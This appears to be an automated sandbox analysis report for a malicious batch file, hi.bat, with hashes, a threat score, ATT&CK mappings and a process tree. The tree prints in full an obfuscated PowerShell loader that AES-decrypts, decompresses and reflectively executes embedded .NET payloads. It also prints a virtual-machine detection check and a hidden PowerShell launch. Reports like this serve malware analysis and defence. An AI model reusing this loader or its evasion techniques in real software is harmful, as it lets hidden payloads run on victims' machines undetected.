c96f6d22a11588fb645f45821a151ee6cce413cfc3b80a62f3717cc2ba809247

General

Target

hi.bat
Size

7.2MB
MD5

2c3d8aae15c19f224cb8258dc002fb53
SHA1

5797ad1149d6be6cbbb76df18abfa32e28cbc6a0
SHA256

c96f6d22a11588fb645f45821a151ee6cce413cfc3b80a62f3717cc2ba809247
SHA512

65e76fffd292b0cc442af65082fd5c7e2685c6bc9cbaa0597972598063e07a5ec2b8cf581d6d479e8266cecd984b7209b94f73b295b8f0fd661292583c19e9a7
SSDEEP

49152:i2z4mBDgbmKEf2tj2UFBW14Hkp18YJAUv0ZA8fv3CzY1V6uSonph0DQMq6xKjKvX:d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2960	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2960	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 2288	2500	cmd.exe	31
PID 2500 wrote to memory of 2288	2500	cmd.exe	31
PID 2500 wrote to memory of 2288	2500	cmd.exe	31
PID 2500 wrote to memory of 2940	2500	cmd.exe	32
PID 2500 wrote to memory of 2940	2500	cmd.exe	32
PID 2500 wrote to memory of 2940	2500	cmd.exe	32
PID 2500 wrote to memory of 2948	2500	cmd.exe	33
PID 2500 wrote to memory of 2948	2500	cmd.exe	33
PID 2500 wrote to memory of 2948	2500	cmd.exe	33
PID 2500 wrote to memory of 2960	2500	cmd.exe	34
PID 2500 wrote to memory of 2960	2500	cmd.exe	34
PID 2500 wrote to memory of 2960	2500	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\hi.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\system32\fsutil.exe
  fsutil fsinfo drives
  2⤵
  PID:2288
- C:\Windows\system32\findstr.exe
  findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
  2⤵
  PID:2940
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo function FsWr($xGUa){ Invoke-Expression -Debug -Verbose -InformationAction Ignore '$gOXE=[QxSQxysQxtQxemQx.QxSQxeQxcQxurQxiQxtyQx.QxCQxryQxptQxoQxgQxrQxapQxhQxyQx.AQxeQxs]Qx::QxCQxrQxeQxaQxtQxe(Qx);'.Replace('Qx', ''); Invoke-Expression -Verbose '$gOXE.Mkkokkdekk=kk[Skkykkskktkkekkm.kkSkkeckkukkrkkitkky.kkCkkrkkykkptkkokkgkkrakkpkkhykk.CkkikkpkkhkkekkrkkMokkdkke]kk:kk:kkCkkBkkCkk;'.Replace('kk', ''); Invoke-Expression -Debug -WarningAction Inquire '$gOXE.Ptfatfddtfitfngtf=tf[tfStfytfsttfetfm.tfStfetfcutfritfttfytf.tfCrtfytfptftotfgtfratfphtfytf.tfPtfatfdtfditfntfgMtfotfdtfetf]tf:tf:tfPKtfCStf7;'.Replace('tf', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$gOXE.KmGemGy=mG[mGSymGsmGtmGemGmmG.CmGomGnvmGemGrmGt]mG::mGFmGrmGomGmBmGamGsmGe6mG4mGStmGrimGnmGg("VmGbmGv6mG2mGUzmGUmGLmGRmGsmGbrmGEmG/VmG1mGEmG4amGfOmGTmGOmGomGTXmGrmGcmGtfmGymGn0mG4CmGFmG7mGQmG9mGBmGTYmG=");'.Replace('mG', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$gOXE.IqfVqf=[qfSqfysqftqfeqfmqf.qfCoqfnqfveqfrqftqf]:qf:FqfrqfoqfmqfBaqfsqfeqf64qfSqftrqfinqfgqf("RqfQqfFSqfgqfPSqf3qfSqfJqfyqfvaqfCqfmiqfSqfPqfZZqfHgqf=qf=qf");'.Replace('qf', ''); $NVYr=$gOXE.CreateDecryptor(); $UBWD=$NVYr.TransformFinalBlock($xGUa, 0, $xGUa.Length); $NVYr.Dispose(); $gOXE.Dispose(); $UBWD;}function Yaio($xGUa){ Invoke-Expression -WarningAction Inquire -Debug -Verbose '$IYhN=NDneDnw-DnODnbjDneDncDntDn DnSyDnsDnteDnmDn.DnIODn.MDneDnmDnoDnryDnSDntDnreDnaDnm(,$xGUa);'.Replace('Dn', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore '$Uihs=NDneDnw-DnODnbjDneDncDntDn DnSyDnsDnteDnmDn.DnIODn.MDneDnmDnoDnryDnSDntDnreDnaDnm;'.Replace('Dn', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$LgWg=NrWerWw-rWOrWbjrWerWcrWtrW rWSyrWsrWterWmrW.rWIOrW.CrWorWmrWprWrerWsrWsrWiorWnrW.GrWZirWprWSrWtrWrrWerWamrW($IYhN, [rWIrWO.rWCrWomrWprWrrWerWsrWsirWorWn.rWCrWorWmprWrerWsrWsrWirWonrWMrWorWderW]rW::rWDerWcrWorWmrWprWrrWesrWs);'.Replace('rW', ''); $LgWg.CopyTo($Uihs); $LgWg.Dispose(); $IYhN.Dispose(); $Uihs.Dispose(); $Uihs.ToArray();}function Grlp($xGUa,$CaYk){ Invoke-Expression -Debug -Verbose -InformationAction Ignore '$vavo=[BwSBwysBwtBwemBw.BwRBweBwfBwleBwcBwtiBwoBwnBw.ABwssBweBwmBwbBwlyBw]Bw:Bw:LBwoBwadBw([byte[]]$xGUa);'.Replace('Bw', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$ZxPG=$vavo.EbnnbntrbnybnPobnibnnbnt;'.Replace('bn', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore -Debug '$ZxPG.PVIPVnvPVoPVkePV(PV$PVnPVuPVllPV, $CaYk);'.Replace('PV', '');}$dqke = 'C:\Users\Admin\AppData\Local\Temp\hi.bat';$host.UI.RawUI.WindowTitle = $dqke;$GSXe=[System.IO.File]::ReadAllText($dqke).Split([Environment]::NewLine);foreach ($iKVq in $GSXe) { if ($iKVq.StartsWith('jOngn')) { $dnev=$iKVq.Substring(5); break; }}$JfeN=[string[]]$dnev.Split('\');Invoke-Expression -Verbose -Debug -InformationAction Ignore '$ait = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Invoke-Expression -InformationAction Ignore '$fiw = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Invoke-Expression -Debug -InformationAction Ignore '$kyK = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Grlp $ait $null;Grlp $fiw $null;Grlp $kyK (,[string[]] (''));
  2⤵
  PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2960-4-0x000007FEF5F1E000-0x000007FEF5F1F000-memory.dmp

Filesize
4KB

Download
memory/2960-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2960-6-0x0000000000560000-0x0000000000568000-memory.dmp

Filesize
32KB

Download
memory/2960-7-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

Filesize
9.6MB

Download
memory/2960-8-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

Filesize
9.6MB

Download
memory/2960-9-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

Filesize
9.6MB

Download
memory/2960-10-0x000007FEF5F1E000-0x000007FEF5F1F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing